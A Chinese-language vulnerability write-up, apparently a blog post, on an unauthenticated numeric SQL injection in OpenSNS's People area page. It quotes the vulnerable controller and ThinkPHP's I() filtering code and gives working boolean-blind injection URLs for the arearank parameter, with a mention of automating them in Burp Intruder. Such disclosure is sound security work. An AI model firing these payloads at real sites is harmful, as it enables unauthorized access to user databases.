opensns最新版前台无限制注入(无需登录无视GPC)

漏洞触发点在/Application/People/Controller/IndexController.class.php中第48行:

public function area()

    {

        $map = $this->setMap();

        $arearank = I('get.arearank', 0);

        $arealv = I('get.arealv');

        $areaname = I('get.areaname');

        if ($arearank == null || $arearank == 0) {

            $map['pos_province'] =array('neq','');

        } else {

            switch ($arealv) {

                case 1:

                    $map['pos_province'] = $arearank;

                    break;

                case 2:

                    $map['pos_city'] = $arearank;

                    break;

                case 3:

                    $map['pos_district'] = $arearank;

                    break;

                default:

                    $map['pos_province'] != null;

            }

        }





        $map['status'] = 1;

        $map['last_login_time'] = array('neq', 0);

        $peoples = S('People_peoples_' . I('page', 0, 'intval') . '_' . serialize($map));

        if (empty($peoples)) {

            $peoples = D('Member')->where($map)->field('uid', 'reg_time', 'last_login_time')->order('last_login_time desc')->findPage(12);



            $userConfigModel = D('Ucenter/UserConfig');

            $titleModel = D('Ucenter/Title');





            foreach ($peoples['data'] as &$v) {

                $v = query_user(array('title', 'avatar128', 'nickname', 'uid', 'space_url', 'score', 'title', 'fans', 'following', 'rank_link', 'pos_province', 'pos_city', 'pos_district'), $v['uid']);

                $v['province'] = get_area_name($v['pos_province']);

                $v['city'] = get_area_name($v['pos_city']);

                $v['district'] = get_area_name($v['pos_district']);



                $v['level'] = $titleModel->getCurrentTitleInfo($v['uid']);

                //获取用户封面id

                $where = getUserConfigMap('user_cover', '', $v['uid']);

                $where['role_id'] = 0;

                $model = $userConfigModel;

                $cover = $model->findData($where);

                $v['cover_id'] = $cover['value'];

                $v['cover_path'] = getThumbImageById($cover['value'], 273, 80);

            }

            unset($v);

            S('People_peoples_' .I('page',0,'intval').'_' . serialize($map), $peoples, 3600);

        }



        //地区信息

        $district = M('district');

        $areanumber = M('member');

        $areadata = $district->where('upid=' . $arearank)->select();

        //地区人数

        foreach ($areadata as &$v1) {

            switch ($v1['level']) {

                case 1:

                    $res = $areanumber->where(array('pos_province' => $v1['id']))->count();

                    $v1['number'] = $res;

                    break;

                case 2:

                    $res = $areanumber->where(array('pos_city' => $v1['id']))->count();

                    $v1['number'] = $res;

                    break;

                case 3:

                    $res = $areanumber->where(array('pos_district' => $v1['id']))->count();

                    $v1['number'] = $res;

                    break;

                default:

                    $res = 0;

            }

        }

        unset($v1);



        if ($areadata == null) {

            $areadata = $district->where('id=' . $arearank)->field('upid', true)->select();

        }



        $this->assign('tag_arealist', $areadata);

        if ($areaname == null) {

            $this->assign('areaname', "");

            $this->assign('goback', "");

        } else {

            $this->assign('areaname', $areaname . ':');

            $this->assign('goback', "返回");

        }

        $this->assign('tab', 'area');

        $this->assign('lists', $peoples);

        $this->display();
    }

我们可以看到对$arearank有这样一个赋值操作:$arearank = I('get.arearank', 0);
我们跟踪一下I()函数,在/ThinkPHP/Common/functions.php中第343行:

function I($name, $default = '', $filter = null, $datas = null)

{

    if (strpos($name, '.')) { // 指定参数来源

        list($method, $name) = explode('.', $name, 2);

    } else { // 默认为自动判断

        $method = 'param';

    }

    switch (strtolower($method)) {

        case 'get'     :

            $input =& $_GET;

            break;

        case 'post'    :

            $input =& $_POST;

            break;

        case 'put'     :

            parse_str(file_get_contents('php://input'), $input);

            break;

        case 'param'   :

            switch ($_SERVER['REQUEST_METHOD']) {

                case 'POST':

                    $input = $_POST;

                    break;

                case 'PUT':

                    parse_str(file_get_contents('php://input'), $input);

                    break;

                default:

                    $input = $_GET;

            }

            break;

        case 'path'    :

            $input = array();

            if (!empty($_SERVER['PATH_INFO'])) {

                $depr = C('URL_PATHINFO_DEPR');

                $input = explode($depr, trim($_SERVER['PATH_INFO'], $depr));

            }

            break;

        case 'request' :

            $input =& $_REQUEST;

            break;

        case 'session' :

            $input =& $_SESSION;

            break;

        case 'cookie'  :

            $input =& $_COOKIE;

            break;

        case 'server'  :

            $input =& $_SERVER;

            break;

        case 'globals' :

            $input =& $GLOBALS;

            break;

        case 'data'    :

            $input =& $datas;

            break;

        default:

            return NULL;

    }

    if ('' == $name) { // 获取全部变量

        $data = $input;

        array_walk_recursive($data, 'filter_exp');

        $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');

        if ($filters) {

            if (is_string($filters)) {

                $filters = explode(',', $filters);

            }

            foreach ($filters as $filter) {

                $data = array_map_recursive($filter, $data); // 参数过滤

            }

        }

    } elseif (isset($input[$name])) { // 取值操作

        $data = $input[$name];

        is_array($data) && array_walk_recursive($data, 'filter_exp');

        $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');

        if ($filters) {

            if (is_string($filters)) {

                $filters = explode(',', $filters);

            } elseif (is_int($filters)) {

                $filters = array($filters);

            }



            foreach ($filters as $filter) {

                if (function_exists($filter)) {

                    $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤

                } else {

                    $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));

                    if (false === $data) {

                        return isset($default) ? $default : NULL;

                    }

                }

            }

        }

    } else { // 变量默认值

        $data = isset($default) ? $default : NULL;

    }

    return $data;

}

可以看到这是一个取值得函数,那么$arearank就是取GET传进来的arearank的值,如果不存在,那么默认值为0。

但是可以看到I()函数有四 个参数,但是在$arearank这里只有两个参数,而第三个参数是filter,也就是过滤参数,可以看到如果没有filter参数的话,就按照默认的 过滤参数来过滤,也就是$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');

我们可以看一下DEFAULT_FILTER这个对应怎样的过滤函数,在/ThinkPHP/Conf/convention.php中第53行对DEFAULT_FILTER有定义:
'DEFAULT_FILTER' => 'htmlspecialchars', // 默认参数过滤方法 用于I函数

也就是如果没有指定过滤函数,那么就用htmlspecialchars()这个函数对值进行过滤。

那么我们继续回到上文,$arearank这个变量的值是由GET传递进来的arearank经过htmlspecialchars()处理后的值。

那么$arearank这个变量又带入到了哪一步操作中呢,我们可以看下文有一处操作:

$areadata = $district->where('upid=' . $arearank)->select();

直接将$arearank与upid=做拼接然后组装到了where语句中,周围并无引号进行包裹,是一个数字型的注入。

所以可以无视GPC。因为访问漏洞触发点是不需要登陆的,所以不需要登陆既可以注入。

因为无报错,所以只能用盲注,这里我选择用bool盲注:

payload:

http://localhost/index.php?s=/people/index/area.html&arearank=-1) or (1=1

这会返回一个页面(1=1):
1
我们改一下payload:

http://localhost/index.php?s=/people/index/area.html&arearank=-1) or (1=2

又会出现另一个页面(1=2):
1
由于手工测比较麻烦,我们利用burpsuite中的intruder模块来自动化,如图所示:
1

发表评论